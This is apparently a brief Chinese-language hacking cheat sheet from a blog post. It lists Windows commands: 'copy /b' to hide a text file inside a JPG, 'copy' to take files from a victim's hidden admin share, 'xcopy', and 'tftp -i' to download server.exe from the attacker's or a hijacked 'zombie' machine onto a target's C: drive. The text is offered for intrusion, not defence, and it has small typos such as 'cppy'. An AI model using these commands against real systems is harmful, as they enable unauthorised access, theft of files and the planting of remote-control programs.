cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy \ip\***$\svv.exe c:\ 或:copy\ip\***$\*.* 复制对方***i.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送

发表评论

邮箱地址不会被公开。 必填项已用*标注